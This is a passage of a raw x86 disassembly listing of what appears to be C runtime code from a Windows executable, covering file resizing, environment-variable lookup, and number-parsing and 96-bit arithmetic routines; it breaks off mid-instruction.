var_1004 = byte ptr -1004h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 1024h call sub_41DEB0 push ebx push esi push edi lea eax, [ebp+var_1004] mov [ebp+var_1014], eax mov [ebp+var_101C], 0 loc_432D16: ; CODE XREF: sub_432CF0+51j cmp [ebp+arg_4], 0 jge short loc_432D3D push offset dword_43AD64 push 0 push 81h push offset dword_43AD58 push 2 call loc_420E10 add esp, 14h cmp eax, 1 jnz short loc_432D3D int 3 ; Trap to Debugger loc_432D3D: ; CODE XREF: sub_432CF0+2Aj ; sub_432CF0+4Aj xor ecx, ecx test ecx, ecx jnz short loc_432D16 push 1 push 0 mov edx, [ebp+arg_0] push edx call sub_42B770 add esp, 0Ch mov [ebp+var_100C], eax cmp [ebp+var_100C], 0FFFFFFFFh jz short loc_432D81 push 2 push 0 mov eax, [ebp+arg_0] push eax call sub_42B770 add esp, 0Ch mov [ebp+var_1010], eax cmp [ebp+var_1010], 0FFFFFFFFh jnz short loc_432D89 loc_432D81: ; CODE XREF: sub_432CF0+70j or eax, 0FFFFFFFFh jmp loc_432F19 ; --------------------------------------------------------------------------- loc_432D89: ; CODE XREF: sub_432CF0+8Fj mov ecx, [ebp+arg_4] sub ecx, [ebp+var_1010] mov [ebp+var_1018], ecx cmp [ebp+var_1018], 0 jle loc_432EA0 push 1000h push 0 mov edx, [ebp+var_1014] push edx call sub_41D100 add esp, 0Ch push 8000h mov eax, [ebp+arg_0] push eax call sub_435FA0 add esp, 8 mov [ebp+var_4], eax loc_432DCF: ; CODE XREF: sub_432CF0+198j cmp [ebp+var_1018], 1000h jl short loc_432DE7 mov [ebp+var_1020], 1000h jmp short loc_432DF3 ; --------------------------------------------------------------------------- loc_432DE7: ; CODE XREF: sub_432CF0+E9j mov ecx, [ebp+var_1018] mov [ebp+var_1020], ecx loc_432DF3: ; CODE XREF: sub_432CF0+F5j mov edx, [ebp+var_1020] mov [ebp+var_1008], edx cmp [ebp+var_1018], 1000h jl short loc_432E17 mov [ebp+var_1024], 1000h jmp short loc_432E23 ; --------------------------------------------------------------------------- loc_432E17: ; CODE XREF: sub_432CF0+119j mov eax, [ebp+var_1018] mov [ebp+var_1024], eax loc_432E23: ; CODE XREF: sub_432CF0+125j mov ecx, [ebp+var_1024] push ecx mov edx, [ebp+var_1014] push edx mov eax, [ebp+arg_0] push eax call sub_42DDC0 add esp, 0Ch mov [ebp+var_1008], eax cmp [ebp+var_1008], 0FFFFFFFFh jnz short loc_432E6F call sub_4267F0 cmp dword ptr [eax], 5 jnz short loc_432E61 call sub_4267E0 mov dword ptr [eax], 0Dh loc_432E61: ; CODE XREF: sub_432CF0+164j mov ecx, [ebp+var_1008] mov [ebp+var_101C], ecx jmp short loc_432E8E ; --------------------------------------------------------------------------- loc_432E6F: ; CODE XREF: sub_432CF0+15Aj mov edx, [ebp+var_1018] sub edx, [ebp+var_1008] mov [ebp+var_1018], edx cmp [ebp+var_1018], 0 jg loc_432DCF loc_432E8E: ; CODE XREF: sub_432CF0+17Dj mov eax, [ebp+var_4] push eax mov ecx, [ebp+arg_0] push ecx call sub_435FA0 add esp, 8 jmp short loc_432EFE ; --------------------------------------------------------------------------- loc_432EA0: ; CODE XREF: sub_432CF0+AFj cmp [ebp+var_1018], 0 jge short loc_432EFE push 0 mov edx, [ebp+arg_4] push edx mov eax, [ebp+arg_0] push eax call sub_42B770 add esp, 0Ch mov ecx, [ebp+arg_0] push ecx call sub_42DA10 add esp, 4 push eax call near ptr 3D0000h call far ptr 0D8F7h:0C01BD8F7h dec eax mov [ebp+var_101C], eax cmp [ebp+var_101C], 0FFFFFFFFh jnz short loc_432EFE call sub_4267E0 mov dword ptr [eax], 0Dh call ds:dword_4F1310 ; RtlGetLastWin32Error mov esi, eax call sub_4267F0 mov [eax], esi loc_432EFE: ; CODE XREF: sub_432CF0+1AEj ; sub_432CF0+1B7j ... push 0 mov edx, [ebp+var_100C] push edx mov eax, [ebp+arg_0] push eax call sub_42B770 add esp, 0Ch mov eax, [ebp+var_101C] loc_432F19: ; CODE XREF: sub_432CF0+94j pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_432CF0 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx push 0Ch call sub_421A80 add esp, 4 mov eax, [ebp+8] push eax call sub_432F50 add esp, 4 mov [ebp-4], eax push 0Ch call sub_421B20 add esp, 4 mov eax, [ebp-4] mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_432F50 proc near ; CODE XREF: seg000:0042EE1Ap ; seg000:00432F32p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 8 mov eax, ds:dword_4EE988 mov [ebp+var_8], eax cmp ds:dword_4F0084, 0 jnz short loc_432F6E xor eax, eax jmp loc_433012 ; --------------------------------------------------------------------------- loc_432F6E: ; CODE XREF: sub_432F50+15j cmp [ebp+var_8], 0 jnz short loc_432F96 cmp ds:dword_4EE990, 0 jz short loc_432F96 call sub_4360C0 test eax, eax jz short loc_432F8D xor eax, eax jmp loc_433012 ; --------------------------------------------------------------------------- loc_432F8D: ; CODE XREF: sub_432F50+34j mov ecx, ds:dword_4EE988 mov [ebp+var_8], ecx loc_432F96: ; CODE XREF: sub_432F50+22j ; sub_432F50+2Bj cmp [ebp+var_8], 0 jz short loc_433010 cmp [ebp+arg_0], 0 jz short loc_433010 mov edx, [ebp+arg_0] push edx call sub_41AC70 add esp, 4 mov [ebp+var_4], eax loc_432FB1: ; CODE XREF: sub_432F50+BEj mov eax, [ebp+var_8] cmp dword ptr [eax], 0 jz short loc_433010 mov ecx, [ebp+var_8] mov edx, [ecx] push edx call sub_41AC70 add esp, 4 cmp eax, [ebp+var_4] jbe short loc_433005 mov eax, [ebp+var_8] mov ecx, [eax] mov edx, [ebp+var_4] movsx eax, byte ptr [ecx+edx] cmp eax, 3Dh jnz short loc_433005 mov ecx, [ebp+var_4] push ecx mov edx, [ebp+arg_0] push edx mov eax, [ebp+var_8] mov ecx, [eax] push ecx call sub_436070 add esp, 0Ch test eax, eax jnz short loc_433005 mov edx, [ebp+var_8] mov eax, [edx] mov ecx, [ebp+var_4] lea eax, [eax+ecx+1] jmp short loc_433012 ; --------------------------------------------------------------------------- loc_433005: ; CODE XREF: sub_432F50+7Aj ; sub_432F50+8Bj ... mov edx, [ebp+var_8] add edx, 4 mov [ebp+var_8], edx jmp short loc_432FB1 ; --------------------------------------------------------------------------- loc_433010: ; CODE XREF: sub_432F50+4Aj ; sub_432F50+50j ... xor eax, eax loc_433012: ; CODE XREF: sub_432F50+19j ; sub_432F50+38j ... mov esp, ebp pop ebp retn sub_432F50 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_433020 proc near ; CODE XREF: sub_42FC00+53p ; sub_42FC00+94p ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 8 mov [ebp+var_8], 0 mov eax, [ebp+arg_0] add eax, [ebp+arg_4] mov [ebp+var_4], eax mov ecx, [ebp+var_4] cmp ecx, [ebp+arg_0] jb short loc_433046 mov edx, [ebp+var_4] cmp edx, [ebp+arg_4] jnb short loc_43304F loc_433046: ; CODE XREF: sub_433020+1Cj mov eax, [ebp+var_8] add eax, 1 mov [ebp+var_8], eax loc_43304F: ; CODE XREF: sub_433020+24j mov ecx, [ebp+arg_8] mov edx, [ebp+var_4] mov [ecx], edx mov eax, [ebp+var_8] mov esp, ebp pop ebp retn sub_433020 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_433060 proc near ; CODE XREF: sub_4331E0+77p ; sub_4331E0+AAp ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch mov eax, [ebp+arg_0] push eax mov ecx, [ebp+arg_4] mov edx, [ecx] push edx mov eax, [ebp+arg_0] mov ecx, [eax] push ecx call sub_433020 add esp, 0Ch mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_4330B7 mov edx, [ebp+arg_0] add edx, 4 push edx push 1 mov eax, [ebp+arg_0] mov ecx, [eax+4] push ecx call sub_433020 add esp, 0Ch mov [ebp+var_8], eax cmp [ebp+var_8], 0 jz short loc_4330B7 mov edx, [ebp+arg_0] mov eax, [edx+8] add eax, 1 mov ecx, [ebp+arg_0] mov [ecx+8], eax loc_4330B7: ; CODE XREF: sub_433060+25j ; sub_433060+46j mov edx, [ebp+arg_0] add edx, 4 push edx mov eax, [ebp+arg_4] mov ecx, [eax+4] push ecx mov edx, [ebp+arg_0] mov eax, [edx+4] push eax call sub_433020 add esp, 0Ch mov [ebp+var_C], eax cmp [ebp+var_C], 0 jz short loc_4330EC mov ecx, [ebp+arg_0] mov edx, [ecx+8] add edx, 1 mov eax, [ebp+arg_0] mov [eax+8], edx loc_4330EC: ; CODE XREF: sub_433060+7Bj mov ecx, [ebp+arg_0] add ecx, 8 push ecx mov edx, [ebp+arg_4] mov eax, [edx+8] push eax mov ecx, [ebp+arg_0] mov edx, [ecx+8] push edx call sub_433020 add esp, 0Ch mov esp, ebp pop ebp retn sub_433060 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_433110 proc near ; CODE XREF: sub_4331E0+5Bp ; sub_4331E0+67p ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 8 mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 80000000h neg ecx sbb ecx, ecx neg ecx mov [ebp+var_4], ecx mov edx, [ebp+arg_0] mov eax, [edx+4] and eax, 80000000h neg eax sbb eax, eax neg eax mov [ebp+var_8], eax mov ecx, [ebp+arg_0] mov edx, [ecx] shl edx, 1 mov eax, [ebp+arg_0] mov [eax], edx mov ecx, [ebp+arg_0] mov edx, [ecx+4] shl edx, 1 or edx, [ebp+var_4] mov eax, [ebp+arg_0] mov [eax+4], edx mov ecx, [ebp+arg_0] mov edx, [ecx+8] shl edx, 1 or edx, [ebp+var_8] mov eax, [ebp+arg_0] mov [eax+8], edx mov esp, ebp pop ebp retn sub_433110 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_433170 proc near ; CODE XREF: sub_433EA0+382p ; sub_436170+316p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 8 mov eax, [ebp+arg_0] mov ecx, [eax+8] and ecx, 1 neg ecx sbb ecx, ecx and ecx, 80000000h mov [ebp+var_8], ecx mov edx, [ebp+arg_0] mov eax, [edx+4] and eax, 1 neg eax sbb eax, eax and eax, 80000000h mov [ebp+var_4], eax mov ecx, [ebp+arg_0] mov edx, [ecx+8] shr edx, 1 mov eax, [ebp+arg_0] mov [eax+8], edx mov ecx, [ebp+arg_0] mov edx, [ecx+4] shr edx, 1 or edx, [ebp+var_8] mov eax, [ebp+arg_0] mov [eax+4], edx mov ecx, [ebp+arg_0] mov edx, [ecx] shr edx, 1 or edx, [ebp+var_4] mov eax, [ebp+arg_0] mov [eax], edx mov esp, ebp pop ebp retn sub_433170 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4331E0 proc near ; CODE XREF: sub_433320+8A7p var_10 = word ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 10h mov [ebp+var_10], 404Eh mov eax, [ebp+arg_8] mov dword ptr [eax], 0 mov ecx, [ebp+arg_8] mov dword ptr [ecx+4], 0 mov edx, [ebp+arg_8] mov dword ptr [edx+8], 0 jmp short loc_43321D ; --------------------------------------------------------------------------- loc_43320B: ; CODE XREF: sub_4331E0+B2j mov eax, [ebp+arg_4] sub eax, 1 mov [ebp+arg_4], eax mov ecx, [ebp+arg_0] add ecx, 1 mov [ebp+arg_0], ecx loc_43321D: ; CODE XREF: sub_4331E0+29j cmp [ebp+arg_4], 0 jbe short loc_433297 mov edx, [ebp+arg_8] mov eax, [edx] mov [ebp+var_C], eax mov ecx, [edx+4] mov [ebp+var_8], ecx mov edx, [edx+8] mov [ebp+var_4], edx mov eax, [ebp+arg_8] push eax call sub_433110 add esp, 4 mov ecx, [ebp+arg_8] push ecx call sub_433110 add esp, 4 lea edx, [ebp+var_C] push edx mov eax, [ebp+arg_8] push eax call sub_433060 add esp, 8 mov ecx, [ebp+arg_8] push ecx call sub_433110 add esp, 4 mov edx, [ebp+arg_0] movsx eax, byte ptr [edx] mov [ebp+var_C], eax mov [ebp+var_8], 0 mov [ebp+var_4], 0 lea ecx, [ebp+var_C] push ecx mov edx, [ebp+arg_8] push edx call sub_433060 add esp, 8 jmp loc_43320B ; --------------------------------------------------------------------------- loc_433297: ; CODE XREF: sub_4331E0+41j ; sub_4331E0+101j mov eax, [ebp+arg_8] cmp dword ptr [eax+8], 0 jnz short loc_4332E3 mov ecx, [ebp+arg_8] mov edx, [ecx+4] shr edx, 10h mov eax, [ebp+arg_8] mov [eax+8], edx mov ecx, [ebp+arg_8] mov edx, [ecx+4] shl edx, 10h mov eax, [ebp+arg_8] mov ecx, [eax] shr ecx, 10h or edx, ecx mov eax, [ebp+arg_8] mov [eax+4], edx mov ecx, [ebp+arg_8] mov edx, [ecx] shl edx, 10h mov eax, [ebp+arg_8] mov [eax], edx mov cx, [ebp+var_10] sub cx, 10h mov [ebp+var_10], cx jmp short loc_433297 ; --------------------------------------------------------------------------- loc_4332E3: ; CODE XREF: sub_4331E0+BEj ; sub_4331E0+12Aj mov edx, [ebp+arg_8] mov eax, [edx+8] and eax, 8000h test eax, eax jnz short loc_43330C mov ecx, [ebp+arg_8] push ecx call sub_433110 add esp, 4 mov dx, [ebp+var_10] sub dx, 1 mov [ebp+var_10], dx jmp short loc_4332E3 ; --------------------------------------------------------------------------- loc_43330C: ; CODE XREF: sub_4331E0+110j mov eax, [ebp+arg_8] mov cx, [ebp+var_10] mov [eax+0Ah], cx mov esp, ebp pop ebp retn sub_4331E0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_433320 proc near ; CODE XREF: sub_430290+1Ap ; seg000:004302EAp ... var_B4 = byte ptr -0B4h var_B0 = dword ptr -0B0h var_AC = dword ptr -0ACh var_A8 = byte ptr -0A8h var_A4 = byte ptr -0A4h var_A0 = dword ptr -0A0h var_9C = dword ptr -9Ch var_98 = dword ptr -98h var_94 = dword ptr -94h var_90 = dword ptr -90h var_8C = byte ptr -8Ch var_88 = dword ptr -88h var_84 = byte ptr -84h var_80 = dword ptr -80h var_7C = dword ptr -7Ch var_78 = dword ptr -78h var_74 = dword ptr -74h var_70 = dword ptr -70h var_6C = dword ptr -6Ch var_68 = dword ptr -68h var_64 = dword ptr -64h var_60 = word ptr -60h var_5E = dword ptr -5Eh var_5A = dword ptr -5Ah var_56 = word ptr -56h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = word ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = byte ptr -38h var_21 = byte ptr -21h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 0B4h lea eax, [ebp+var_38] mov [ebp+var_68], eax mov word ptr [ebp+var_1C], 0 mov [ebp+var_74], 1 mov [ebp+var_70], 0 mov [ebp+var_54], 0 mov [ebp+var_C], 0 mov [ebp+var_18], 0 mov [ebp+var_40], 0 mov [ebp+var_78], 0 mov [ebp+var_14], 0 mov [ebp+var_6C], 0 mov [ebp+var_44], 0 mov [ebp+var_4C], 0 mov ecx, [ebp+arg_8] mov [ebp+var_4], ecx mov edx, [ebp+var_4] mov [ebp+var_64], edx jmp short loc_433399 ; --------------------------------------------------------------------------- loc_433390: ; CODE XREF: sub_433320:loc_4333C5j mov eax, [ebp+var_4] add eax, 1 mov [ebp+var_4], eax loc_433399: ; CODE XREF: sub_433320+6Ej mov ecx, [ebp+var_4] movsx edx, byte ptr [ecx] cmp edx, 20h jz short loc_4333C5 mov eax, [ebp+var_4] movsx ecx, byte ptr [eax] cmp ecx, 9 jz short loc_4333C5 mov edx, [ebp+var_4] movsx eax, byte ptr [edx] cmp eax, 0Ah jz short loc_4333C5 mov ecx, [ebp+var_4] movsx edx, byte ptr [ecx] cmp edx, 0Dh jnz short loc_4333C7 loc_4333C5: ; CODE XREF: sub_433320+82j ; sub_433320+8Dj ... jmp short loc_433390 ; --------------------------------------------------------------------------- loc_4333C7: ; CODE XREF: sub_433320+A3j ; sub_433320:loc_433B23j cmp [ebp+var_4C], 0Ah jz loc_433B28 mov eax, [ebp+var_4] mov cl, [eax] mov byte ptr [ebp+var_3C], cl mov edx, [ebp+var_4] add edx, 1 mov [ebp+var_4], edx mov eax, [ebp+var_4C] mov [ebp+var_80], eax cmp [ebp+var_80], 0Bh ja loc_433B23 mov ecx, [ebp+var_80] jmp ds:off_433D3A[ecx*4] loc_4333FC: ; DATA XREF: seg000:off_433D3Ao movsx edx, byte ptr [ebp+var_3C] cmp edx, 31h jl short loc_433420 movsx eax, byte ptr [ebp+var_3C] cmp eax, 39h jg short loc_433420 mov [ebp+var_4C], 3 mov ecx, [ebp+var_4] sub ecx, 1 mov [ebp+var_4], ecx jmp short loc_433495 ; --------------------------------------------------------------------------- loc_433420: ; CODE XREF: sub_433320+E3j ; sub_433320+ECj movsx edx, byte ptr [ebp+var_3C] movsx eax, ds:byte_44FD24 cmp edx, eax jnz short loc_433438 mov [ebp+var_4C], 5 jmp short loc_433495 ; --------------------------------------------------------------------------- loc_433438: ; CODE XREF: sub_433320+10Dj mov cl, byte ptr [ebp+var_3C] mov [ebp+var_84], cl cmp [ebp+var_84], 2Bh jz short loc_433467 cmp [ebp+var_84], 2Dh jz short loc_433476 cmp [ebp+var_84], 30h jz short loc_43345E jmp short loc_433485 ; --------------------------------------------------------------------------- loc_43345E: ; CODE XREF: sub_433320+13Aj mov [ebp+var_4C], 1 jmp short loc_433495 ; --------------------------------------------------------------------------- loc_433467: ; CODE XREF: sub_433320+128j mov [ebp+var_4C], 2 mov word ptr [ebp+var_1C], 0 jmp short loc_433495 ; --------------------------------------------------------------------------- loc_433476: ; CODE XREF: sub_433320+131j mov [ebp+var_4C], 2 mov word ptr [ebp+var_1C], 8000h jmp short loc_433495 ; --------------------------------------------------------------------------- loc_433485: ; CODE XREF: sub_433320+13Cj mov [ebp+var_4C], 0Ah mov edx, [ebp+var_4] sub edx, 1 mov [ebp+var_4], edx loc_433495: ; CODE XREF: sub_433320+FEj ; sub_433320+116j ... jmp loc_433B23 ; --------------------------------------------------------------------------- loc_43349A: ; CODE XREF: sub_433320+D5j ; DATA XREF: seg000:00433D3Eo mov [ebp+var_54], 1 movsx eax, byte ptr [ebp+var_3C] cmp eax, 31h jl short loc_4334C8 movsx ecx, byte ptr [ebp+var_3C] cmp ecx, 39h jg short loc_4334C8 mov [ebp+var_4C], 3 mov edx, [ebp+var_4] sub edx, 1 mov [ebp+var_4], edx jmp loc_43354B ; --------------------------------------------------------------------------- loc_4334C8: ; CODE XREF: sub_433320+188j ; sub_433320+191j movsx eax, byte ptr [ebp+var_3C] movsx ecx, ds:byte_44FD24 cmp eax, ecx jnz short loc_4334E0 mov [ebp+var_4C], 4 jmp short loc_43354B ; --------------------------------------------------------------------------- loc_4334E0: ; CODE XREF: sub_433320+1B5j movsx edx, byte ptr [ebp+var_3C] mov [ebp+var_88], edx mov eax, [ebp+var_88] sub eax, 2Bh mov [ebp+var_88], eax cmp [ebp+var_88], 3Ah ja short loc_43353B mov edx, [ebp+var_88] xor ecx, ecx mov cl, ds:byte_433D7A[edx] jmp ds:off_433D6A[ecx*4] loc_433517: ; CODE XREF: sub_433320+D5j ; DATA XREF: seg000:00433D6Eo mov [ebp+var_4C], 1 jmp short loc_43354B ; --------------------------------------------------------------------------- loc_433520: ; CODE XREF: sub_433320+D5j ; sub_433320+1F0j ; DATA XREF: ... mov [ebp+var_4C], 6 jmp short loc_43354B ; --------------------------------------------------------------------------- loc_433529: ; CODE XREF: sub_433320+D5j ; sub_433320+1F0j ; DATA XREF: ... mov eax, [ebp+var_4] sub eax, 1 mov [ebp+var_4], eax mov [ebp+var_4C], 0Bh jmp short loc_43354B ; --------------------------------------------------------------------------- loc_43353B: ; CODE XREF: sub_433320+D5j ; sub_433320+1E0j ... mov [ebp+var_4C], 0Ah mov ecx, [ebp+var_4] sub ecx, 1 mov [ebp+var_4], ecx loc_43354B: ; CODE XREF: sub_433320+1A3j ; sub_433320+1BEj ... jmp loc_433B23 ; --------------------------------------------------------------------------- loc_433550: ; CODE XREF: sub_433320+D5j ; DATA XREF: seg000:00433D42o movsx edx, byte ptr [ebp+var_3C] cmp edx, 31h jl short loc_433574 movsx eax, byte ptr [ebp+var_3C] cmp eax, 39h jg short loc_433574 mov [ebp+var_4C], 3 mov ecx, [ebp+var_4] sub ecx, 1 mov [ebp+var_4], ecx jmp short loc_4335B6 ; --------------------------------------------------------------------------- loc_433574: ; CODE XREF: sub_433320+237j ; sub_433320+240j movsx edx, byte ptr [ebp+var_3C] movsx eax, ds:byte_44FD24 cmp edx, eax jnz short loc_43358C mov [ebp+var_4C], 5 jmp short loc_4335B6 ; --------------------------------------------------------------------------- loc_43358C: ; CODE XREF: sub_433320+261j mov cl, byte ptr [ebp+var_3C] mov [ebp+var_8C], cl cmp [ebp+var_8C], 30h jz short loc_4335A0 jmp short loc_4335A9 ; --------------------------------------------------------------------------- loc_4335A0: ; CODE XREF: sub_433320+27Cj mov [ebp+var_4C], 1 jmp short loc_4335B6 ; --------------------------------------------------------------------------- loc_4335A9: ; CODE XREF: sub_433320+27Ej mov [ebp+var_4C], 0Ah mov edx, [ebp+var_64] mov [ebp+var_4], edx loc_4335B6: ; CODE XREF: sub_433320+252j ; sub_433320+26Aj ... jmp loc_433B23 ; --------------------------------------------------------------------------- loc_4335BB: ; CODE XREF: sub_433320+D5j ; DATA XREF: seg000:00433D46o mov [ebp+var_54], 1 jmp short loc_4335D5 ; --------------------------------------------------------------------------- loc_4335C4: ; CODE XREF: sub_433320:loc_43364Fj mov eax, [ebp+var_4] mov cl, [eax] mov byte ptr [ebp+var_3C], cl mov edx, [ebp+var_4] add edx, 1 mov [ebp+var_4], edx loc_4335D5: ; CODE XREF: sub_433320+2A2j cmp ds:dword_44FD20, 1 jle short loc_4335F9 push 4 mov eax, [ebp+var_3C] and eax, 0FFh push eax call sub_423D90 add esp, 8 mov [ebp+var_90], eax jmp short loc_433617 ; --------------------------------------------------------------------------- loc_4335F9: ; CODE XREF: sub_433320+2BCj mov ecx, [ebp+var_3C] and ecx, 0FFh mov edx, ds:off_44FE2C xor eax, eax mov ax, [edx+ecx*2] and eax, 4 mov [ebp+var_90], eax loc_433617: ; CODE XREF: sub_433320+2D7j cmp [ebp+var_90], 0 jz short loc_433654 cmp [ebp+var_70], 19h jnb short loc_433646 mov ecx, [ebp+var_70] add ecx, 1 mov [ebp+var_70], ecx movsx edx, byte ptr [ebp+var_3C] sub edx, 30h mov eax, [ebp+var_68] mov [eax], dl mov ecx, [ebp+var_68] add ecx, 1 mov [ebp+var_68], ecx jmp short loc_43364F ; --------------------------------------------------------------------------- loc_433646: ; CODE XREF: sub_433320+304j mov edx, [ebp+var_6C] add edx, 1 mov [ebp+var_6C], edx loc_43364F: ; CODE XREF: sub_433320+324j jmp loc_4335C4 ; --------------------------------------------------------------------------- loc_433654: ; CODE XREF: sub_433320+2FEj movsx eax, byte ptr [ebp+var_3C] movsx ecx, ds:byte_44FD24 cmp eax, ecx jnz short loc_43366C mov [ebp+var_4C], 4 jmp short loc_4336CE ; --------------------------------------------------------------------------- loc_43366C: ; CODE XREF: sub_433320+341j movsx edx, byte ptr [ebp+var_3C] mov [ebp+var_94], edx mov eax, [ebp+var_94] sub eax, 2Bh mov [ebp+var_94], eax cmp [ebp+var_94], 3Ah ja short loc_4336BE mov edx, [ebp+var_94] xor ecx, ecx mov cl, ds:byte_433DC1[edx] jmp ds:off_433DB5[ecx*4] loc_4336A3: ; DATA XREF: seg000:00433DB9o mov [ebp+var_4C], 6 jmp short loc_4336CE ; --------------------------------------------------------------------------- loc_4336AC: ; CODE XREF: sub_433320+37Cj ; DATA XREF: seg000:off_433DB5o mov eax, [ebp+var_4] sub eax, 1 mov [ebp+var_4], eax mov [ebp+var_4C], 0Bh jmp short loc_4336CE ; --------------------------------------------------------------------------- loc_4336BE: ; CODE XREF: sub_433320+36Cj ; sub_433320+37Cj ; DATA XREF: ... mov [ebp+var_4C], 0Ah mov ecx, [ebp+var_4] sub ecx, 1 mov [ebp+var_4], ecx loc_4336CE: ; CODE XREF: sub_433320+34Aj ; sub_433320+38Aj ... jmp loc_433B23 ; --------------------------------------------------------------------------- loc_4336D3: ; CODE XREF: sub_433320+D5j ; DATA XREF: seg000:00433D4Ao mov [ebp+var_54], 1 mov [ebp+var_C], 1 cmp [ebp+var_70], 0 jnz short loc_43370E jmp short loc_4336FA ; --------------------------------------------------------------------------- loc_4336E9: ; CODE XREF: sub_433320+3ECj mov edx, [ebp+var_4] mov al, [edx] mov byte ptr [ebp+var_3C], al mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx loc_4336FA: ; CODE XREF: sub_433320+3C7j movsx edx, byte ptr [ebp+var_3C] cmp edx, 30h jnz short loc_43370E mov eax, [ebp+var_6C] sub eax, 1 mov [ebp+var_6C], eax jmp short loc_4336E9 ; --------------------------------------------------------------------------- loc_43370E: ; CODE XREF: sub_433320+3C5j ; sub_433320+3E1j jmp short loc_433721 ; --------------------------------------------------------------------------- loc_433710: ; CODE XREF: sub_433320:loc_433799j mov ecx, [ebp+var_4] mov dl, [ecx] mov byte ptr [ebp+var_3C], dl mov eax, [ebp+var_4] add eax, 1 mov [ebp+var_4], eax loc_433721: ; CODE XREF: sub_433320:loc_43370Ej cmp ds:dword_44FD20, 1 jle short loc_433746 push 4 mov ecx, [ebp+var_3C] and ecx, 0FFh push ecx call sub_423D90 add esp, 8 mov [ebp+var_98], eax jmp short loc_433763 ; --------------------------------------------------------------------------- loc_433746: ; CODE XREF: sub_433320+408j mov edx, [ebp+var_3C] and edx, 0FFh mov eax, ds:off_44FE2C xor ecx, ecx mov cx, [eax+edx*2] and ecx, 4 mov [ebp+var_98], ecx loc_433763: ; CODE XREF: sub_433320+424j cmp [ebp+var_98], 0 jz short loc_43379E cmp [ebp+var_70], 19h jnb short loc_433799 mov edx, [ebp+var_70] add edx, 1 mov [ebp+var_70], edx movsx eax, byte ptr [ebp+var_3C] sub eax, 30h mov ecx, [ebp+var_68] mov [ecx], al mov edx, [ebp+var_68] add edx, 1 mov [ebp+var_68], edx mov eax, [ebp+var_6C] sub eax, 1 mov [ebp+var_6C], eax loc_433799: ; CODE XREF: sub_433320+450j jmp loc_433710 ; --------------------------------------------------------------------------- loc_43379E: ; CODE XREF: sub_433320+44Aj movsx ecx, byte ptr [ebp+var_3C] mov [ebp+var_9C], ecx mov edx, [ebp+var_9C] sub edx, 2Bh mov [ebp+var_9C], edx cmp [ebp+var_9C], 3Ah ja short loc_4337F0 mov ecx, [ebp+var_9C] xor eax, eax mov al, ds:byte_433E08[ecx] jmp ds:off_433DFC[eax*4] loc_4337D5: ; DATA XREF: seg000:00433E00o mov [ebp+var_4C], 6 jmp short loc_433800 ; --------------------------------------------------------------------------- loc_4337DE: ; CODE XREF: sub_433320+4AEj ; DATA XREF: seg000:off_433DFCo mov edx, [ebp+var_4] sub edx, 1 mov [ebp+var_4], edx mov [ebp+var_4C], 0Bh jmp short loc_433800 ; --------------------------------------------------------------------------- loc_4337F0: ; CODE XREF: sub_433320+49Ej ; sub_433320+4AEj ; DATA XREF: ... mov [ebp+var_4C], 0Ah mov eax, [ebp+var_4] sub eax, 1 mov [ebp+var_4], eax loc_433800: ; CODE XREF: sub_433320+4BCj ; sub_433320+4CEj jmp loc_433B23 ; --------------------------------------------------------------------------- loc_433805: ; CODE XREF: sub_433320+D5j ; DATA XREF: seg000:00433D4Eo mov [ebp+var_C], 1 cmp ds:dword_44FD20, 1 jle short loc_433831 push 4 mov ecx, [ebp+var_3C] and ecx, 0FFh push ecx call sub_423D90 add esp, 8 mov [ebp+var_A0], eax jmp short loc_43384E ; --------------------------------------------------------------------------- loc_433831: ; CODE XREF: sub_433320+4F3j mov edx, [ebp+var_3C] and edx, 0FFh mov eax, ds:off_44FE2C xor ecx, ecx mov cx, [eax+edx*2] and ecx, 4 mov [ebp+var_A0], ecx loc_43384E: ; CODE XREF: sub_433320+50Fj cmp [ebp+var_A0], 0 jz short loc_433869 mov [ebp+var_4C], 4 mov edx, [ebp+var_4] sub edx, 1 mov [ebp+var_4], edx jmp short loc_433876 ; --------------------------------------------------------------------------- loc_433869: ; CODE XREF: sub_433320+535j mov 